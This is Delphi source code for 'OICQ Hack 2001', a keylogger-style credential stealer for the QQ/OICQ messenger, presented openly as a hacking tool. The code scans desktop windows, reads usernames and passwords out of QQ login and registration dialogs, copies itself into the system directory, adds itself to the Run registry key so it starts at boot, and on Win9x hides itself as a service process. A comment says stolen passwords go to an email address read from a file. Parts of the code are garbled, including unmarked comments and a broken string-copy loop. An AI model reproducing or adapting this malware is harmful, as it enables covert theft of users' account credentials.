{ ****************** OICQ Hack 2001*********** * * 2001 5.22 ver 1.1 Modify for OICQ2000b 0230 * 2001 5.25 ver 1.2 Modify for QQ2000b 0430 * Last updated: 2001.5.25 * Author :njhhack * HackSoft Research Lab. * Copyright(C) 2001 Allrigths Reserved. * * ********************************************** }
//---------------下面是oicqhack.dpr工程文件 program oicqhack;
uses Windows, Messages, mainunit in 'mainunit.pas';
{$R *.RES}
var wClass: TWndClass; // class struct for main window Msg: TMSG; // message struct
procedure ShutDown; begin UnRegisterClass(classname,hInst); ExitProcess(hInst); //end program end;
function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall; begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of WM_CREATE: wincreate; WM_TIMER: ontimer1; WM_DESTROY: ShutDown; end; end;
begin //如果旧版本已运行,则停止旧版程序,只运行当前新版程序 hmain:=Findwindow('HackSoft-Oicq-Password-Recoder','OICQ 密码记录器2'); if hmain<>0 then sendmessage(lp,wm_destroy,0,0);
hInst:=GetModuleHandle(nil); // get the application instance classname:='HackSoft-Oicq-Password-Recoder'; with wClass do begin Style:= CS_PARENTDC; hIcon:= LoadIcon(hInst,'MAINICON'); lpfnWndProc:= @WindowProc; hInstance:= hInst; hbrBackground:= COLOR_BTNFACE+1; lpszClassName:= classname; hCursor:= LoadCursor(0,IDC_ARROW); end; RegisterClass(wClass); hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,'OICQ 密码记录器3',WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil); //建立一个新的定时器，用来定时扫描系统中的窗口 newtime:=SetTimer(hmain,0,300,nil); //建立消息循环 while(GetMessage(Msg,hmain,0,0))do begin TranslateMessage(Msg); DispatchMessage(Msg); end; //结束定时器 killtimer(hmain,newtime); end.
//-------下面是mainunit.pas单元文件
unit mainunit;
interface
uses Windows, Messages, SysUtils, Classes, winsock, registry; const CRLF=#13#10; var spy:string; hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer; his:array[0..100] of integer; syspath:array[0..200] of integer; regservice:function(uThread:integer;uType:integer):Integer;stdcall; libhandle:thandle; classname:array[0..100] of char; items:array[0..4] of string;
err:integer; wsadata:twsadata; fsocket,fport,step:integer; SockAddrIn:TSockAddrIn; hackmail,email,newpass,fhost,s1,password:string; sbuf:array[0..1024] of char;
procedure winCreate; procedure OnTimer1;
implementation
//修改注册表让程序自启动 procedure autorun; var reg:tregistry; begin reg:=tregistry.create; reg.rootkey:=HKEY_LOCAL_MACHINE; reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); reg.WriteString('oicqpass',spy+'OICQPASS.EXE'); reg.closekey; reg.free; end;
//窗口枚举函数 function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall; var hw,hwold,hs,wlong,hup,i:integer; sbuf,sb3,sb2:array[0..256] of char; sb1:string; begin hwold:=GetParent(hwnd); wlong:=GetWindowLong(hwnd,GWL_STYLE); if (wlong and ES_PASSWORD)<>0 then begin //检查是否OICQ登陆 hup:=GetParent(hwnd); sendmessage(hup,wm_gettext,100,integer(@sbuf)); strpcopy(sb2,'OICQ 注册向导'); strpcopy(sb3,'QQ 注册向导'); if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then begin old:=GetParent(hup); old:=GetParent(old); old:=GetParent(old); start:=0; count:=1; //items.clear;
//跳过两个窗口 hwnd:=Getwindow(hwnd,GW_HWNDFIRST); hwnd:=Getwindow(hwnd,GW_HWNDNEXT); //取得用户名 hwnd:=Getwindow(hwnd,GW_HWNDNEXT); hw:=GetWindowTextLength(hwnd); hs:=integer(@sbuf); sendmessage(hwnd,wm_gettext,100,hs); items[0]:='用户名:'+strpas(sbuf); //取得密码 hwnd:=Getwindow(hwnd,GW_HWNDNEXT); hw:=GetWindowTextLength(hwnd); hs:=integer(@sbuf); sendmessage(hwnd,wm_gettext,100,hs); items[1]:='密码:'+strpas(sbuf); end; strpcopy(sb2,'OICQ用户登录'); strpcopy(sb3,'QQ用户登录'); if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then begin old:=GetParent(hup); old:=GetParent(old); start:=0; count:=1; //items.clear; //取得用户名 hwnd:=Getwindow(hwnd,GW_HWNDFIRST); hw:=GetWindowTextLength(hwnd); hs:=integer(@sbuf); sendmessage(hwnd,wm_gettext,100,hs); items[0]:='用户名:'+strpas(sbuf); //取得密码 hwnd:=Getwindow(hwnd,GW_HWNDNEXT); hw:=GetWindowTextLength(hwnd); hs:=integer(@sbuf); sendmessage(hwnd,wm_gettext,100,hs); items[1]:='密码:'+strpas(sbuf); end; end; //检查是否在线 hw:=GetWindowTextLength(hwnd); hs:=integer(@sbuf); sendmessage(hwnd,wm_gettext,100,hs); strpcopy(sb2,'在线'); strpcopy(sb3,'隐身'); if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then begin if hwold=old then begin if olde<>old then begin if strcomp(sbuf,sb2)=0 then items[2]:='登录成功:在线' else items[2]:='登录成功:隐身'; items[3]:=' '; //密码发回我的邮箱[email protected]
{ if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll') else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite); if fileexists(spy+'oicqpass.dll')=false then fhand:=filecreate(spy+'oicqpass.dll') else fhand:=fileopen(spy+'oicqpass.dll',fmOpenWrite); fileseek(fhand,0,2); strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10); filewrite(fhand,sbuf,strlen(sbuf)); fileclose(fhand); } end; olde:=old; end; end; result:=true; end;
定时器响应函数 procedure OnTimer1; begin lp:=0; EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp); end; //窗口创建响应函数 procedure winCreate; var wlong:integer; s1:string; s2,s3,sbuf:array[0..300] of char; i:integer; osver:TOSVERSIONINFO; tmp:tmemorystream; begin //取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能 osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO); if GetVersionEx(osver)=true then begin if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then begin LibHandle:=LoadLibrary('kernel32.dll'); if LibHandle<>0 then begin @regservice:=GetProcAddress(LibHandle, 'RegisterServiceProcess'); regservice(0,1);//1=hide,0=show; FreeLibrary(LibHandle); end; end; end; max:=0; count:=0; 将程序复制到系统目录 s1:=ParamStr(0); for i:=0 to length(s1) do s2:=s1[i+1]; GetSystemDirectory(@syspath,MAX_PATH); spy:=strpas(@syspath)+'\'; s1:=spy+'oicqhack.exe'; for i:=0 to length(s1) do s3:=s1[i+1]; copyfile(s2,s3,false); //从email.txt中找到目标e-mail信箱 if fileexists('c:\email.txt')=false then begin email:='[email protected]'; end else begin tmp:=tmemorystream.create;; tmp.loadfromfile('c:\email.txt'); count:=tmp.size; // strcopy(sbuf,pchar('')); tmp.read(sbuf,count); tmp.free; email:=''; for step:=0 to count-1 do email:=email+sbuf[step]; strcopy(sbuf,pchar(email)); // messagebox(0,sbuf,'',0); end; count:=0; step:=0; //修改注册表使程序自启动 autorun; end;
end.
///////////////////////////////////////////////////////// --------倪建华--------------- HackSoft Research Lab. Copyright(C) 2001 Alrights reserved.